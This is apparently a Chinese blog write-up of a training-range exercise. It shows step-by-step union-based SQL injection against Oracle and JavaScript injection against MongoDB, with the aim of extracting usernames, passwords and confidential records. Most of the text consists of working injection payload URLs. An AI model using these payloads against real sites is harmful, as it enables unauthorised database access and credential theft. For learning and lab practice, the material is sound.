Oracle &&MongoDB

听课的时候第一次碰到,可以了解一下吧,就直接开了墨者学院的靶场

#oracle数据库

Oracle数据库注入全方位利用 - 先知社区

这篇写的真的很好

1.判断注入点

当时找了半天没找到

看样子是找到了,测试一下看看

Oracle &&MongoDB_第1张图片

id=1 and 1=1 时没有报错

Oracle &&MongoDB_第2张图片

2.判断字段数

Oracle &&MongoDB_第3张图片

3.确定回显点

?id=1 union select null,null from dual

oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。

?id=1 union select 'null','null' from dual

oracle对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select 'null','null'。

Oracle &&MongoDB_第4张图片

第一个null回显在红字部分,第二个null回显在下边

Oracle &&MongoDB_第5张图片 4.获取表名

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

?id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual

Oracle &&MongoDB_第6张图片

查询其他表

LOGMNR_GLOBAL$

?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

Oracle &&MongoDB_第7张图片

 LOGMNR_SESSION_EVOLVE$

?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_GLOBAL$') from dual

Oracle &&MongoDB_第8张图片

模糊查询

sns_users 

?id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

 Oracle &&MongoDB_第9张图片

5.获取列名

USER_NAME

?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

Oracle &&MongoDB_第10张图片

USER_PWD 

?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in'USER_NAME') from dual

 Oracle &&MongoDB_第11张图片

5.查询数据

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

Oracle &&MongoDB_第12张图片

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

Oracle &&MongoDB_第13张图片

终于出来啦

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

Oracle &&MongoDB_第14张图片解码一下

Oracle &&MongoDB_第15张图片

拿账号密码登录就可

#Mongodb 数据库

MongoDB 查询文档 | 菜鸟教程

渗透测试之地基服务篇:服务攻防之数据库Mongodb(下) - FreeBuf网络安全行业门户



数据库安全之MongoDB渗透 - FreeBuf网络安全行业门户

Oracle &&MongoDB_第16张图片

Oracle &&MongoDB_第17张图片

先要了解一下查询方式

在mysql中使用where子句来实现条件查询

但是mongogb是使用键值

Oracle &&MongoDB_第18张图片

先看下源码

Oracle &&MongoDB_第19张图片

# 查询语句,这里id值可控且没有经过过滤和限制
$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
​
#打印出数据库中title字段和content字段信息

1.判断注入点

还是老的

Oracle &&MongoDB_第20张图片 2.测回显

如何构造payload?

正常写法:select * from news where id=1

mdb数据库写法:select * from news where id={('$id')},需要闭合符号


原始语句:db.notice.findOne({'id':'$id'});return data;

如果 ?id=1 order by 2

那么语句就会变成:db.notice.findOne({'id':‘1 order by 2’});return data;,语句不正确。

但是注入语句 ?id=1'}); return ({title:tojson(db),content:'1

那么语句就变成:db.notice.findOne({'id':‘1'}); return ({title:tojson(db),content:'1'});return data; ,就可以进行正常的注入。


测回显:?id=1'}); return ({title:1,content:'test



根据源码来确定 title回显在红色,content在灰字

Oracle &&MongoDB_第21张图片

3.获取库名

mozhe_cms_Authority

?id=1'}); return ({title:tojson(db),content:'1

db.getCollectionNames()返回的是数组,需要用to json转换为字符串。并且mongodb函数区分大小写

Oracle &&MongoDB_第22张图片

4.获取表名

?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

getCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式

Oracle &&MongoDB_第23张图片

5.获取数据、

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

Oracle &&MongoDB_第24张图片

这个密码得到是假的

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

查询第二条数据

Oracle &&MongoDB_第25张图片 这是对的

Oracle &&MongoDB_第26张图片

你可能感兴趣的:(oracle,数据库)